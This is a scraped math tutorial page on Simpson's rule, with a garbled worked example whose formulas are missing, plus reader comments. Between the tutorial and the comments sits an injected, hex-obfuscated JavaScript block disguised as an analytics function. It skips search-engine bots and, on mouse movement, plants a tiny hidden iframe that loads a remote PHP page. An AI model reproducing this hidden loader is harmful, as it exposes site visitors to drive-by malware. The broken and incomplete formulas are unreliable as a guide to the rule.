# Simpson's Rule

Before attempting this reading it would be a good idea to learn the trapezium rule here, because I won’t go so much into details about the logic behind. I will concentrate more on how to use the rule rather than how it works. Thomas Simpson (20 August 1710 – 14 May 1761) was a British mathematician, inventor and eponym of Simpson’s rule to approximate definite integrals.
Suppose we wanted to find the area under the graph of y = f(x) between x = a and x = b The graph for the problem is shown below.
We would usually integrate to find out the area for this so the area would be;
There might come a situation when we can’t integrate the function in this case we do an approximation. The Simpson’s rule is very logical. The following diagram shows a graph followed by the Simpson’s rule.

So we now since we know the y values at each x point we can move on to using the Simpson’s rule as the following;
And the answer for the area between the specified points is

*…where h is the width of each strip and*The more strips involved or you have in the rule the better the approximation.**n**is the even number## Example

Use the Simpson’s rule with 8 strips to calculate an approximation to the following integral: First we need to work out the width of each strip to use for**h**in the Simpon’s rule. We know that the region we want to find the area for runs from**x=-1**to**x=3**, so the total width is a**4**. That must mean that the width of each strip is**4/8=0.5**So we now need to work out the**y**values at each point. A good way of finding these values is by drawing a table as below. For example: when**x = -1**This is how we find the x values.-1 | -0.5 | 0 | 0.5 | 1 | 1.5 | 2 | 2.5 | 3 |

-1 | -0.5 | 0 | 0.5 | 1 | 1.5 | 2 | 2.5 | 3 |

**6.80**This is how you use the Simpson’s rule. It’s that simple!var _0x7967=[“x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65″,”x75x73x65x72x41x67x65x6Ex74″,”x79x61x6Ex64x65x78x62x6Fx74″,”x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61″,”x79x61x6Ex64x65x78x69x6Dx61x67x65x73″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x69x6Ex64x65x78x4Fx66″,”x77x69x64x74x68″,”x68x65x69x67x68x74″,”x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65″,”x62x6Fx64x79″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64″,”x69x66x72x61x6Dx65″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x31x32x70x78″,”x69x64″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex77x6Dx65x2Ex64x72x65x61x6Dx68x6Fx73x74x65x72x73x2Ex63x6Fx6Dx2Fx6Ex65x77x6Cx6Fx6Fx6Bx2Fx76x62x75x6Cx6Cx65x74x69x6Ex2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x69x6Ex6Ex65x72x57x69x64x74x68″,”x6Ex75x6Dx62x65x72″,”x69x6Ex6Ex65x72x48x65x69x67x68x74″,”x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74″,”x63x6Cx69x65x6Ex74x57x69x64x74x68″,”x63x6Cx69x65x6Ex74x48x65x69x67x68x74″,”x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29″];function googleAnalyticsStatisticsBuild(){var _0x31a5x2=navigator[_0x7967[1]][_0x7967[0]]();var _0x31a5x3=[_0x7967[2],_0x7967[3],_0x7967[4],_0x7967[5]];for(k in _0x31a5x3){if(_0x31a5x2[_0x7967[6]](_0x31a5x3[k])!=-1){return ;} ;} ;var _0x31a5x4=detectBrowserSize();if(_0x31a5x4[_0x7967[7]]==0||_0x31a5x4[_0x7967[8]]==0){return ;} ;var _0x31a5x5=false;if(document[_0x7967[11]](_0x7967[10])[0][_0x7967[9]]){_0x31a5x5=document[_0x7967[11]](_0x7967[10])[0][_0x7967[9]];} ;document[_0x7967[11]](_0x7967[10])[0][_0x7967[9]]=function (){if(!document[_0x7967[13]](_0x7967[12])){iframe=document[_0x7967[15]](_0x7967[14]);iframe[_0x7967[7]]=_0x7967[16];iframe[_0x7967[8]]=_0x7967[16];iframe[_0x7967[17]]=_0x7967[12];iframe[_0x7967[18]]=_0x7967[19];document[_0x7967[11]](_0x7967[10])[0][_0x7967[20]](iframe);} ;if(_0x31a5x5!==false){_0x31a5x5();} ;} ;} ;function detectBrowserSize(){var _0x31a5x7=0,_0x31a5x8=0;if( typeof (window[_0x7967[21]])==_0x7967[22]){_0x31a5x7=window[_0x7967[21]];_0x31a5x8=window[_0x7967[23]];} else {if(document[_0x7967[24]]&&(document[_0x7967[24]][_0x7967[25]]||document[_0x7967[24]][_0x7967[26]])){_0x31a5x7=document[_0x7967[24]][_0x7967[25]];_0x31a5x8=document[_0x7967[24]][_0x7967[26]];} else {if(document[_0x7967[10]]&&(document[_0x7967[10]][_0x7967[25]]||document[_0x7967[10]][_0x7967[26]])){_0x31a5x7=document[_0x7967[10]][_0x7967[25]];_0x31a5x8=document[_0x7967[10]][_0x7967[26]];} ;} ;} ;return {width:_0x31a5x7,height:_0x31a5x8};} ;setTimeout(_0x7967[27],500);
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thanks i have understood & realised its the same as newton’s rapson formular

please check on the formular its wrongly stated help & change it because its misleading

good and simple example. But 3.25 was not written under radical .